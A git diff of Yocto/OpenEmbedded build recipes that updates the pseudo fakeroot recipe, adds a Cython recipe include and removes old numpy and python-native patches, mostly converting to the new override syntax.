diff --git a/meta/recipes-devtools/pseudo/pseudo.inc b/meta/recipes-devtools/pseudo/pseudo.inc
index 8b34909726..7e09b6d58c 100644
--- a/meta/recipes-devtools/pseudo/pseudo.inc
+++ b/meta/recipes-devtools/pseudo/pseudo.inc
@@ -4,18 +4,20 @@
SUMMARY = "Pseudo gives fake root capabilities to a normal user"
HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/pseudo"
+DESCRIPTION = "The pseudo utility offers a way to run commands in a virtualized root environment."
LIC_FILES_CHKSUM = "file://COPYING;md5=a1d8023a6f953ac6ea4af765ff62d574"
SECTION = "base"
-LICENSE = "LGPL2.1"
+LICENSE = "LGPL-2.1-only"
DEPENDS = "sqlite3 attr"
-FILES_${PN} = "${prefix}/lib/pseudo/lib*/libpseudo.so ${bindir}/* ${localstatedir}/pseudo ${prefix}/var/pseudo"
-INSANE_SKIP_${PN} += "libdir"
-INSANE_SKIP_${PN}-dbg += "libdir"
+FILES:${PN} = "${prefix}/lib/pseudo/lib*/libpseudo.so ${bindir}/* ${localstatedir}/pseudo ${prefix}/var/pseudo"
+INSANE_SKIP:${PN} += "libdir"
+INSANE_SKIP:${PN}-dbg += "libdir"
PROVIDES += "virtual/fakeroot"
MAKEOPTS = ""
+MAKEOPTS:class-native = "'RPATH=-Wl,--rpath=XORIGIN/../../../sqlite3-native/usr/lib/'"
inherit siteinfo pkgconfig
@@ -24,29 +26,16 @@ do_configure () {
}
NO32LIBS ??= "1"
-NO32LIBS_class-nativesdk = "1"
+NO32LIBS:class-nativesdk = "1"
PSEUDO_EXTRA_OPTS ?= "--enable-force-async --without-passwd-fallback --enable-epoll --enable-xattr"
# Compile for the local machine arch...
do_compile () {
- SQLITE_LDADD='$(SQLITE)/$(SQLITE_LIB)/libsqlite3.a'
- for sqlite_link_opt in $(pkg-config sqlite3 --libs --static)
- do
- case "$sqlite_link_opt" in
- -lsqlite3)
- ;;
- -l*)
- SQLITE_LDADD="${SQLITE_LDADD} ${sqlite_link_opt}"
- ;;
- *)
- ;;
- esac
- done
if [ "${SITEINFO_BITS}" = "64" ]; then
- ${S}/configure ${PSEUDO_EXTRA_OPTS} --prefix=${prefix} --libdir=${prefix}/lib/pseudo/lib${SITEINFO_BITS} --with-sqlite-lib=${baselib} --with-sqlite=${STAGING_DIR_TARGET}${exec_prefix} --cflags="${CFLAGS}" --bits=${SITEINFO_BITS} --with-static-sqlite="$SQLITE_LDADD" --without-rpath
+ ${S}/configure ${PSEUDO_EXTRA_OPTS} --prefix=${prefix} --libdir=${prefix}/lib/pseudo/lib${SITEINFO_BITS} --with-sqlite-lib=${baselib} --with-sqlite=${STAGING_DIR_TARGET}${exec_prefix} --cflags="${CFLAGS}" --bits=${SITEINFO_BITS} --without-rpath
else
- ${S}/configure ${PSEUDO_EXTRA_OPTS} --prefix=${prefix} --libdir=${prefix}/lib/pseudo/lib --with-sqlite-lib=${baselib} --with-sqlite=${STAGING_DIR_TARGET}${exec_prefix} --cflags="${CFLAGS}" --bits=${SITEINFO_BITS} --with-static-sqlite="$SQLITE_LDADD" --without-rpath
+ ${S}/configure ${PSEUDO_EXTRA_OPTS} --prefix=${prefix} --libdir=${prefix}/lib/pseudo/lib --with-sqlite-lib=${baselib} --with-sqlite=${STAGING_DIR_TARGET}${exec_prefix} --cflags="${CFLAGS}" --bits=${SITEINFO_BITS} --without-rpath
fi
oe_runmake ${MAKEOPTS}
}
@@ -90,7 +79,7 @@ warn_32bit_missing() {
# Two below are the same
# If necessary compile for the alternative machine arch. This is only
# necessary in a native build.
-do_compile_prepend_class-native () {
+do_compile:prepend:class-native () {
maybe_make32
if $make32; then
# We need the 32-bit libpseudo on a 64-bit machine...
@@ -111,7 +100,7 @@ do_compile_prepend_class-native () {
fi
}
-do_compile_prepend_class-nativesdk () {
+do_compile:prepend:class-nativesdk () {
maybe_make32
if $make32; then
# We need the 32-bit libpseudo on a 64-bit machine.
@@ -123,11 +112,25 @@ do_compile_prepend_class-nativesdk () {
fi
}
+do_compile:append:class-native () {
+ if [ '${@bb.data.inherits_class('uninative', d)}' = 'True' ]; then
+ for i in PSEUDO_PORT_UNIX_SYNCFS PSEUDO_PORT_UIDS_GENERIC PSEUDO_PORT_LINUX_NEWCLONE PSEUDO_PORT_LINUX_XATTR PSEUDO_PORT_LINUX_STATVFS; do
+ grep $i.1 ${S}/pseudo_ports.h
+ if [ $? != 0 ]; then
+ echo "$i not enabled in pseudo which is incompatible with uninative"
+ exit 1
+ fi
+ done
+ fi
+}
+
+
do_install () {
oe_runmake 'DESTDIR=${D}' ${MAKEOPTS} 'LIB=lib/pseudo/lib$(MARK64)' install
}
-do_install_append_class-native () {
+do_install:append:class-native () {
+ chrpath ${D}${bindir}/pseudo -r `chrpath ${D}${bindir}/pseudo | cut -d = -f 2 | sed s/XORIGIN/\\$ORIGIN/`
install -d ${D}${sysconfdir}
# The fallback files should never be modified
install -m 444 ${WORKDIR}/fallback-passwd ${D}${sysconfdir}/passwd
@@ -143,7 +146,7 @@ do_install_append_class-native () {
fi
}
-do_install_append_class-nativesdk () {
+do_install:append:class-nativesdk () {
maybe_make32
if $make32; then
mkdir -p ${D}${prefix}/lib/pseudo/lib
diff --git a/meta/recipes-devtools/pseudo/pseudo_git.bb b/meta/recipes-devtools/pseudo/pseudo_git.bb
index 78500e1cc6..f9e3b46910 100644
--- a/meta/recipes-devtools/pseudo/pseudo_git.bb
+++ b/meta/recipes-devtools/pseudo/pseudo_git.bb
@@ -1,17 +1,21 @@
require pseudo.inc
-SRC_URI = "git://git.yoctoproject.org/pseudo \
+SRC_URI = "git://git.yoctoproject.org/pseudo;branch=oe-core \
file://0001-configure-Prune-PIE-flags.patch \
file://fallback-passwd \
file://fallback-group \
- file://moreretries.patch \
- file://toomanyfiles.patch \
- file://0001-maketables-wrappers-use-Python-3.patch \
"
+SRC_URI:append:class-native = " \
+ http://downloads.yoctoproject.org/mirror/sources/pseudo-prebuilt-2.33.tar.xz;subdir=git/prebuilt;name=prebuilt \
+ file://older-glibc-symbols.patch"
+SRC_URI:append:class-nativesdk = " \
+ http://downloads.yoctoproject.org/mirror/sources/pseudo-prebuilt-2.33.tar.xz;subdir=git/prebuilt;name=prebuilt \
+ file://older-glibc-symbols.patch"
+SRC_URI[prebuilt.sha256sum] = "ed9f456856e9d86359f169f46a70ad7be4190d6040282b84c8d97b99072485aa"
-SRCREV = "060058bb29f70b244e685b3c704eb0641b736f73"
+SRCREV = "d34f2f6cedccf8488730001bcbde6bb7499f8814"
S = "${WORKDIR}/git"
PV = "1.9.0+git${SRCPV}"
# error: use of undeclared identifier '_STAT_VER'
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
diff --git a/meta/recipes-devtools/python-numpy/files/0001-npy_cpu-Add-riscv-support.patch b/meta/recipes-devtools/python-numpy/files/0001-npy_cpu-Add-riscv-support.patch
deleted file mode 100644
index 4decfe66ee..0000000000
--- a/meta/recipes-devtools/python-numpy/files/0001-npy_cpu-Add-riscv-support.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-From 629891f67601275c9c4de0bb01afcf1a8c44fa3f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 16 Mar 2018 19:55:21 -0700
-Subject: [PATCH] npy_cpu: Add riscv support
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Submitted [https://github.com/numpy/numpy/pull/10761]
----
- numpy/core/include/numpy/npy_cpu.h | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/numpy/core/include/numpy/npy_cpu.h b/numpy/core/include/numpy/npy_cpu.h
-index 5edd8f4..e1e4796 100644
---- a/numpy/core/include/numpy/npy_cpu.h
-+++ b/numpy/core/include/numpy/npy_cpu.h
-@@ -96,6 +96,8 @@
- #define NPY_CPU_OR1K
- #elif defined(__mc68000__)
- #define NPY_CPU_M68K
-+#elif defined(__riscv)
-+ #define NPY_CPU_RISCV
- #elif defined(__arc__) && defined(__LITTLE_ENDIAN__)
- #define NPY_CPU_ARCEL
- #elif defined(__arc__) && defined(__BIG_ENDIAN__)
diff --git a/meta/recipes-devtools/python-numpy/files/0001-numpy-random-setup.py-remove-the-detection-of-x86-ta.patch b/meta/recipes-devtools/python-numpy/files/0001-numpy-random-setup.py-remove-the-detection-of-x86-ta.patch
deleted file mode 100644
index ebb2a6f9df..0000000000
--- a/meta/recipes-devtools/python-numpy/files/0001-numpy-random-setup.py-remove-the-detection-of-x86-ta.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From b881e0b2ba9cf1a4aa351a1c1ea90b1e1776ce21 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 12 Aug 2019 15:37:36 +0200
-Subject: [PATCH] numpy/random/setup.py: remove the detection of x86 targets
- via uname()
-
-This was badly breaking compilation for ARM targets (and possibly
-other non-x86 targets); if -msse2 is desirable for x86 builds it has
-to be passed through another channel.
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- numpy/random/setup.py | 5 -----
- 1 file changed, 5 deletions(-)
-
-diff --git a/numpy/random/setup.py b/numpy/random/setup.py
-index a1bf3b8..60fb534 100644
---- a/numpy/random/setup.py
-+++ b/numpy/random/setup.py
-@@ -49,11 +49,6 @@ def configuration(parent_package='', top_path=None):
- elif not is_msvc:
- # Some bit generators require c99
- EXTRA_COMPILE_ARGS += ['-std=c99']
-- INTEL_LIKE = any([val in k.lower() for k in platform.uname()
-- for val in ('x86', 'i686', 'i386', 'amd64')])
-- if INTEL_LIKE:
-- # Assumes GCC or GCC-like compiler
-- EXTRA_COMPILE_ARGS += ['-msse2']
-
- # Use legacy integer variable sizes
- LEGACY_DEFS = [('NP_RANDOM_LEGACY', '1')]
diff --git a/meta/recipes-devtools/python-numpy/python-numpy.inc b/meta/recipes-devtools/python-numpy/python-numpy.inc
deleted file mode 100644
index f68b90e6b9..0000000000
--- a/meta/recipes-devtools/python-numpy/python-numpy.inc
+++ /dev/null
@@ -1,53 +0,0 @@
-SUMMARY = "A sophisticated Numeric Processing Package for Python"
-SECTION = "devel/python"
-LICENSE = "BSD-3-Clause & BSD-2-Clause & PSF & Apache-2.0 & BSD & MIT"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=1a32aba007a415aa8a1c708a0e2b86a1"
-
-SRCNAME = "numpy"
-
-SRC_URI = "https://github.com/${SRCNAME}/${SRCNAME}/releases/download/v${PV}/${SRCNAME}-${PV}.tar.gz \
- file://0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch \
- file://0001-npy_cpu-Add-riscv-support.patch \
- file://0001-numpy-random-setup.py-remove-the-detection-of-x86-ta.patch \
- "
-SRC_URI[md5sum] = "c48b2ad785f82cdfe28c907ce35e2a71"
-SRC_URI[sha256sum] = "47b7b6145e7ba5918ce26be25999b6d4b35cf9fbfdf46b7da50090ffdb020445"
-
-UPSTREAM_CHECK_URI = "https://github.com/numpy/numpy/releases"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-# Needed for building with gcc 4.x from centos 7
-CFLAGS_append_class-native = " -std=c99"
-
-S = "${WORKDIR}/numpy-${PV}"
-
-CLEANBROKEN = "1"
-
-FILES_${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/numpy/core/lib/*.a"
-
-# install what is needed for numpy.test()
-RDEPENDS_${PN} = "${PYTHON_PN}-unittest \
- ${PYTHON_PN}-difflib \
- ${PYTHON_PN}-pprint \
- ${PYTHON_PN}-pickle \
- ${PYTHON_PN}-shell \
- ${PYTHON_PN}-nose \
- ${PYTHON_PN}-doctest \
- ${PYTHON_PN}-datetime \
- ${PYTHON_PN}-distutils \
- ${PYTHON_PN}-misc \
- ${PYTHON_PN}-mmap \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-numbers \
- ${PYTHON_PN}-pydoc \
- ${PYTHON_PN}-pkgutil \
- ${PYTHON_PN}-email \
- ${PYTHON_PN}-compression \
- ${PYTHON_PN}-ctypes \
- ${PYTHON_PN}-threading \
- ${PYTHON_PN}-multiprocessing \
-"
-
-RDEPENDS_${PN}_class-native = ""
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python-numpy/python3-numpy_1.17.0.bb b/meta/recipes-devtools/python-numpy/python3-numpy_1.17.0.bb
deleted file mode 100644
index d388e88d25..0000000000
--- a/meta/recipes-devtools/python-numpy/python3-numpy_1.17.0.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-inherit setuptools3
-require python-numpy.inc
-
diff --git a/meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch b/meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch
index 169d1b155b..5e2ee454da 100644
--- a/meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch
+++ b/meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch
@@ -1,4 +1,4 @@
-From 5bba4f57f048016aa92ce5909e9e372db619554e Mon Sep 17 00:00:00 2001
+From da88c57fe03e4474ba20325edacf519e80c1d7a8 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 17 Jul 2018 10:13:38 +0800
Subject: [PATCH] conditionally do not fetch code by easy_install
@@ -15,11 +15,11 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 5 insertions(+)
diff --git a/setuptools/command/easy_install.py b/setuptools/command/easy_install.py
-index 05508ce..945e118 100755
+index fc848d0..c04a5de 100644
--- a/setuptools/command/easy_install.py
+++ b/setuptools/command/easy_install.py
-@@ -640,6 +640,11 @@ class easy_install(Command):
- os.path.exists(tmpdir) and rmtree(rmtree_safe(tmpdir))
+@@ -642,6 +642,11 @@ class easy_install(Command):
+ os.path.exists(tmpdir) and rmtree(tmpdir)
def easy_install(self, spec, deps=False):
+ if os.environ.get('NO_FETCH_BUILD', None):
@@ -27,6 +27,6 @@ index 05508ce..945e118 100755
+ "Please add its native recipe to DEPENDS." % spec)
+ return None
+
- if not self.editable:
- self.install_site_py()
-
+ with self._tmpdir() as tmpdir:
+ if not isinstance(spec, Requirement):
+ if URL_SCHEME(spec):
diff --git a/meta/recipes-devtools/python/python-async.inc b/meta/recipes-devtools/python/python-async.inc
index af887dc4e5..fde864601c 100644
--- a/meta/recipes-devtools/python/python-async.inc
+++ b/meta/recipes-devtools/python/python-async.inc
@@ -9,6 +9,6 @@ inherit pypi
SRC_URI[md5sum] = "9b06b5997de2154f3bc0273f80bcef6b"
SRC_URI[sha256sum] = "ac6894d876e45878faae493b0cf61d0e28ec417334448ac0a6ea2229d8343051"
-RDEPENDS_${PN} += "${PYTHON_PN}-threading"
+RDEPENDS:${PN} += "${PYTHON_PN}-threading"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-cython.inc b/meta/recipes-devtools/python/python-cython.inc
new file mode 100644
index 0000000000..5050dfd427
--- /dev/null
+++ b/meta/recipes-devtools/python/python-cython.inc
@@ -0,0 +1,42 @@
+SUMMARY = "The Cython language"
+HOMEPAGE = "https://pypi.org/project/Cython/"
+DESCRIPTION = "Cython is a language specially designed for writing Python extension modules. \
+It's designed to bridge the gap between the nice, high-level, easy-to-use world of Python \
+and the messy, low-level world of C."
+SECTION = "devel/python"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=e23fadd6ceef8c618fc1c65191d846fa"
+PYPI_PACKAGE = "Cython"
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI[sha256sum] = "d6fac2342802c30e51426828fe084ff4deb1b3387367cf98976bb2e64b6f8e45"
+UPSTREAM_CHECK_REGEX = "Cython-(?P<pver>.*)\.tar"
+
+inherit pypi
+
+RDEPENDS:${PN}:class-target += "\
+ ${PYTHON_PN}-misc \
+ ${PYTHON_PN}-netserver \
+ ${PYTHON_PN}-pkgutil \
+ ${PYTHON_PN}-pyparsing \
+ ${PYTHON_PN}-setuptools \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-xml \
+"
+
+RDEPENDS:${PN}:class-nativesdk += "\
+ nativesdk-${PYTHON_PN}-misc \
+ nativesdk-${PYTHON_PN}-netserver \
+ nativesdk-${PYTHON_PN}-pkgutil \
+ nativesdk-${PYTHON_PN}-pyparsing \
+ nativesdk-${PYTHON_PN}-setuptools \
+ nativesdk-${PYTHON_PN}-shell \
+ nativesdk-${PYTHON_PN}-xml \
+"
+
+do_install:append() {
+ # Make sure we use /usr/bin/env python
+ for PYTHSCRIPT in `grep -rIl '^#!.*python' ${D}`; do
+ sed -i -e '1s|^#!.*|#!/usr/bin/env ${PYTHON_PN}|' $PYTHSCRIPT
+ done
+}
diff --git a/meta/recipes-devtools/python/python-extras.inc b/meta/recipes-devtools/python/python-extras.inc
index b5e11b711a..335bde2724 100644
--- a/meta/recipes-devtools/python/python-extras.inc
+++ b/meta/recipes-devtools/python/python-extras.inc
@@ -1,5 +1,5 @@
SUMMARY = "Useful extra bits for Python - things that should be in the standard library"
-HOMEPAGE = "https://pypi.python.org/pypi/extras/"
+HOMEPAGE = "https://pypi.org/project/extras/"
SECTION = "devel/python"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=6d108f338b2f68fe48ac366c4650bd8b"
diff --git a/meta/recipes-devtools/python/python-gitdb.inc b/meta/recipes-devtools/python/python-gitdb.inc
index 633752fd1b..9482964f30 100644
--- a/meta/recipes-devtools/python/python-gitdb.inc
+++ b/meta/recipes-devtools/python/python-gitdb.inc
@@ -6,14 +6,13 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=59e5ecb13339a936eedf83282eaf4528"
inherit pypi
-PYPI_PACKAGE = "gitdb2"
+PYPI_PACKAGE = "gitdb"
-SRC_URI[md5sum] = "94e59e5fb00960541f6e137b1456ab0a"
-SRC_URI[sha256sum] = "83361131a1836661a155172932a13c08bda2db3674e4caa32368aa6eb02f38c2"
+SRC_URI[sha256sum] = "bac2fd45c0a1c9cf619e63a90d62bdc63892ef92387424b855792a6cabe789aa"
DEPENDS = "${PYTHON_PN}-async ${PYTHON_PN}-setuptools-native ${PYTHON_PN}-smmap"
-RDEPENDS_${PN} += "${PYTHON_PN}-async \
+RDEPENDS:${PN} += "${PYTHON_PN}-async \
${PYTHON_PN}-compression \
${PYTHON_PN}-crypt \
${PYTHON_PN}-io \
diff --git a/meta/recipes-devtools/python/python-native/0001-python-native-fix-one-do_populate_sysroot-warning.patch b/meta/recipes-devtools/python/python-native/0001-python-native-fix-one-do_populate_sysroot-warning.patch
deleted file mode 100644
index 989818927d..0000000000
--- a/meta/recipes-devtools/python/python-native/0001-python-native-fix-one-do_populate_sysroot-warning.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 12292444e1b3662b994bc223d92b8338fb0895ff Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Thu, 25 Oct 2018 07:32:14 +0000
-Subject: [PATCH] python-native: fix one do_populate_sysroot warning
-
-Fix below warning:
-WARNING: Skipping RPATH /usr/lib64 as is a standard search path for
-work/x86_64-linux/python-native/2.7.15-r1.1/recipe-sysroot-native/
-usr/lib/python2.7/lib-dynload/_bsddb.so
-
-setup.py will check db.h under include_dirs, for native build,
-/usr/lib64 will be insert to postion 0 of include_dirs, so
-it's priority is higher then our sysroot, cause db.h sysroot
-is ignored, and rpath set to /usr/lib64. and this cause warning
-when do_populate_sysroot. use append to fix it.
-
-Upstream-Status: Inappropriate [oe-specific]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- setup.py | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/setup.py b/setup.py
-index 7bf13ed..6c0f29b 100644
---- a/setup.py
-+++ b/setup.py
-@@ -40,7 +40,7 @@ def add_dir_to_list(dirlist, dir):
- 1) 'dir' is not already in 'dirlist'
- 2) 'dir' actually exists, and is a directory."""
- if dir is not None and os.path.isdir(dir) and dir not in dirlist:
-- dirlist.insert(0, dir)
-+ dirlist.append(dir)
-
- def macosx_sdk_root():
- """
---
-2.18.0
-
diff --git a/meta/recipes-devtools/python/python-native/10-distutils-fix-swig-parameter.patch b/meta/recipes-devtools/python/python-native/10-distutils-fix-swig-parameter.patch
deleted file mode 100644
index a39247ce70..0000000000
--- a/meta/recipes-devtools/python/python-native/10-distutils-fix-swig-parameter.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-Upstream-Status: Pending
-
-# Some versions of SWIG do not use the extension parameter.
-# Make it optional.
-# Signed-Off: Michael 'Mickey' Lauer <mickey@vanille-media.de>
-Index: Python-2.6.1/Lib/distutils/command/build_ext.py
-===================================================================
---- Python-2.6.1.orig/Lib/distutils/command/build_ext.py
-+++ Python-2.6.1/Lib/distutils/command/build_ext.py
-@@ -566,7 +566,7 @@ class build_ext (Command):
- target_lang=language)
-
-
-- def swig_sources (self, sources, extension):
-+ def swig_sources (self, sources, extension=None):
-
- """Walk the list of source files in 'sources', looking for SWIG
- interface (.i) files. Run SWIG on all that are found, and
diff --git a/meta/recipes-devtools/python/python-native/11-distutils-never-modify-shebang-line.patch b/meta/recipes-devtools/python/python-native/11-distutils-never-modify-shebang-line.patch
deleted file mode 100644
index c92469b9b6..0000000000
--- a/meta/recipes-devtools/python/python-native/11-distutils-never-modify-shebang-line.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Pending
-
-# Don't modify the she-bang line for a cross-build.
-# Otherwise it points to our hostpython (which we do not want)
-#
-# Signed-Off: Michael 'Mickey' Lauer <mickey@vanille-media.de>
-
-Index: Python-2.6.1/Lib/distutils/command/build_scripts.py
-===================================================================
---- Python-2.6.1.orig/Lib/distutils/command/build_scripts.py
-+++ Python-2.6.1/Lib/distutils/command/build_scripts.py
-@@ -87,7 +87,7 @@ class build_scripts (Command):
- continue
-
- match = first_line_re.match(first_line)
-- if match:
-+ if False: #match:
- adjust = 1
- post_interp = match.group(1) or ''
-
diff --git a/meta/recipes-devtools/python/python-native/multilib.patch b/meta/recipes-devtools/python/python-native/multilib.patch
deleted file mode 100644
index af0f173c6d..0000000000
--- a/meta/recipes-devtools/python/python-native/multilib.patch
+++ /dev/null
@@ -1,235 +0,0 @@
-Rebased for Python 2.7.9
-
-Signed-off-by: Alejandro Hernandez <alejandro.hernandez@linux.intel.com>
-
-2011/09/29
-The python recipe building was failing because python-native
-could not handle sys.lib var. sys.lib var is defined in the
-multilib patch hence added this multilib.patch for python-native
-recipe.
-
-Upstream-Status: Inappropriate [oe-specific]
-
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-
-Index: Python-2.7.14/Include/pythonrun.h
-===================================================================
---- Python-2.7.14.orig/Include/pythonrun.h
-+++ Python-2.7.14/Include/pythonrun.h
-@@ -108,6 +108,7 @@ PyAPI_FUNC(char *) Py_GetPath(void);
- /* In their own files */
- PyAPI_FUNC(const char *) Py_GetVersion(void);
- PyAPI_FUNC(const char *) Py_GetPlatform(void);
-+PyAPI_FUNC(const char *) Py_GetLib(void);
- PyAPI_FUNC(const char *) Py_GetCopyright(void);
- PyAPI_FUNC(const char *) Py_GetCompiler(void);
- PyAPI_FUNC(const char *) Py_GetBuildInfo(void);
-Index: Python-2.7.14/Lib/distutils/command/install.py
-===================================================================
---- Python-2.7.14.orig/Lib/distutils/command/install.py
-+++ Python-2.7.14/Lib/distutils/command/install.py
-@@ -22,6 +22,8 @@ from site import USER_BASE
- from site import USER_SITE
-
-
-+libname = sys.lib
-+
- if sys.version < "2.2":
- WINDOWS_SCHEME = {
- 'purelib': '$base',
-@@ -42,7 +44,7 @@ else:
- INSTALL_SCHEMES = {
- 'unix_prefix': {
- 'purelib': '$base/lib/python$py_version_short/site-packages',
-- 'platlib': '$platbase/lib/python$py_version_short/site-packages',
-+ 'platlib': '$platbase/'+libname+'/python$py_version_short/site-packages',
- 'headers': '$base/include/python$py_version_short/$dist_name',
- 'scripts': '$base/bin',
- 'data' : '$base',
-Index: Python-2.7.14/Lib/pydoc.py
-===================================================================
---- Python-2.7.14.orig/Lib/pydoc.py
-+++ Python-2.7.14/Lib/pydoc.py
-@@ -375,7 +375,7 @@ class Doc:
- docmodule = docclass = docroutine = docother = docproperty = docdata = fail
-
- def getdocloc(self, object,
-- basedir=os.path.join(sys.exec_prefix, "lib",
-+ basedir=os.path.join(sys.exec_prefix, "sys.lib",
- "python"+sys.version[0:3])):
- """Return the location of module docs or None"""
-
-Index: Python-2.7.14/Lib/site.py
-===================================================================
---- Python-2.7.14.orig/Lib/site.py
-+++ Python-2.7.14/Lib/site.py
-@@ -288,13 +288,19 @@ def getsitepackages():
- if sys.platform in ('os2emx', 'riscos'):
- sitepackages.append(os.path.join(prefix, "Lib", "site-packages"))
- elif os.sep == '/':
-- sitepackages.append(os.path.join(prefix, "lib",
-+ sitepackages.append(os.path.join(prefix, sys.lib,
- "python" + sys.version[:3],
- "site-packages"))
-- sitepackages.append(os.path.join(prefix, "lib", "site-python"))
-+ if sys.lib != "lib":
-+ sitepackages.append(os.path.join(prefix, "lib",
-+ "python" + sys.version[:3],
-+ "site-packages"))
-+ sitepackages.append(os.path.join(prefix, sys.lib, "site-python"))
-+ if sys.lib != "lib":
-+ sitepackages.append(os.path.join(prefix, "lib", "site-python"))
- else:
- sitepackages.append(prefix)
-- sitepackages.append(os.path.join(prefix, "lib", "site-packages"))
-+ sitepackages.append(os.path.join(prefix, sys.lib, "site-packages"))
- return sitepackages
-
- def addsitepackages(known_paths):
-Index: Python-2.7.14/Lib/test/test_dl.py
-===================================================================
---- Python-2.7.14.orig/Lib/test/test_dl.py
-+++ Python-2.7.14/Lib/test/test_dl.py
-@@ -4,10 +4,11 @@
- import unittest
- from test.test_support import verbose, import_module
- dl = import_module('dl', deprecated=True)
-+import sys
-
- sharedlibs = [
-- ('/usr/lib/libc.so', 'getpid'),
-- ('/lib/libc.so.6', 'getpid'),
-+ ('/usr/'+sys.lib+'/libc.so', 'getpid'),
-+ ('/'+sys.lib+'/libc.so.6', 'getpid'),
- ('/usr/bin/cygwin1.dll', 'getpid'),
- ('/usr/lib/libc.dylib', 'getpid'),
- ]
-Index: Python-2.7.14/Lib/trace.py
-===================================================================
---- Python-2.7.14.orig/Lib/trace.py
-+++ Python-2.7.14/Lib/trace.py
-@@ -754,10 +754,10 @@ def main(argv=None):
- # should I also call expanduser? (after all, could use $HOME)
-
- s = s.replace("$prefix",
-- os.path.join(sys.prefix, "lib",
-+ os.path.join(sys.prefix, sys.lib,
- "python" + sys.version[:3]))
- s = s.replace("$exec_prefix",
-- os.path.join(sys.exec_prefix, "lib",
-+ os.path.join(sys.exec_prefix, sys.lib,
- "python" + sys.version[:3]))
- s = os.path.normpath(s)
- ignore_dirs.append(s)
-Index: Python-2.7.14/Makefile.pre.in
-===================================================================
---- Python-2.7.14.orig/Makefile.pre.in
-+++ Python-2.7.14/Makefile.pre.in
-@@ -91,6 +91,7 @@ PY_CFLAGS= $(CFLAGS) $(CPPFLAGS) $(CFLAG
-
- # Machine-dependent subdirectories
- MACHDEP= @MACHDEP@
-+LIB= @LIB@
-
- # Multiarch directory (may be empty)
- MULTIARCH= @MULTIARCH@
-@@ -110,7 +111,7 @@ LIBDIR= @libdir@
- MANDIR= @mandir@
- INCLUDEDIR= @includedir@
- CONFINCLUDEDIR= $(exec_prefix)/include
--SCRIPTDIR= $(prefix)/lib
-+SCRIPTDIR= $(prefix)/@LIB@
-
- # Detailed destination directories
- BINLIBDEST= $(LIBDIR)/python$(VERSION)
-@@ -644,6 +645,7 @@ Modules/getpath.o: $(srcdir)/Modules/get
- -DEXEC_PREFIX='"$(exec_prefix)"' \
- -DVERSION='"$(VERSION)"' \
- -DVPATH='"$(VPATH)"' \
-+ -DLIB='"$(LIB)"' \
- -o $@ $(srcdir)/Modules/getpath.c
-
- Modules/python.o: $(srcdir)/Modules/python.c
-@@ -692,7 +694,7 @@ regen-ast:
- Python/compile.o Python/symtable.o Python/ast.o: $(srcdir)/Include/graminit.h $(srcdir)/Include/Python-ast.h
-
- Python/getplatform.o: $(srcdir)/Python/getplatform.c
-- $(CC) -c $(PY_CFLAGS) -DPLATFORM='"$(MACHDEP)"' -o $@ $(srcdir)/Python/getplatform.c
-+ $(CC) -c $(PY_CFLAGS) -DPLATFORM='"$(MACHDEP)"' -DLIB='"$(LIB)"' -o $@ $(srcdir)/Python/getplatform.c
-
- Python/importdl.o: $(srcdir)/Python/importdl.c
- $(CC) -c $(PY_CFLAGS) -I$(DLINCLDIR) -o $@ $(srcdir)/Python/importdl.c
-Index: Python-2.7.14/Modules/getpath.c
-===================================================================
---- Python-2.7.14.orig/Modules/getpath.c
-+++ Python-2.7.14/Modules/getpath.c
-@@ -100,6 +100,13 @@
- #error "PREFIX, EXEC_PREFIX, VERSION, and VPATH must be constant defined"
- #endif
-
-+#define LIB_PYTHON LIB "/python" VERSION
-+
-+#ifndef PYTHONPATH
-+#define PYTHONPATH PREFIX "/" LIB_PYTHON ":" \
-+ EXEC_PREFIX "/" LIB_PYTHON "/lib-dynload"
-+#endif
-+
- #ifndef LANDMARK
- #define LANDMARK "os.py"
- #endif
-@@ -108,7 +115,7 @@ static char prefix[MAXPATHLEN+1];
- static char exec_prefix[MAXPATHLEN+1];
- static char progpath[MAXPATHLEN+1];
- static char *module_search_path = NULL;
--static char lib_python[] = "lib/python" VERSION;
-+static char lib_python[] = LIB_PYTHON;
-
- static void
- reduce(char *dir)
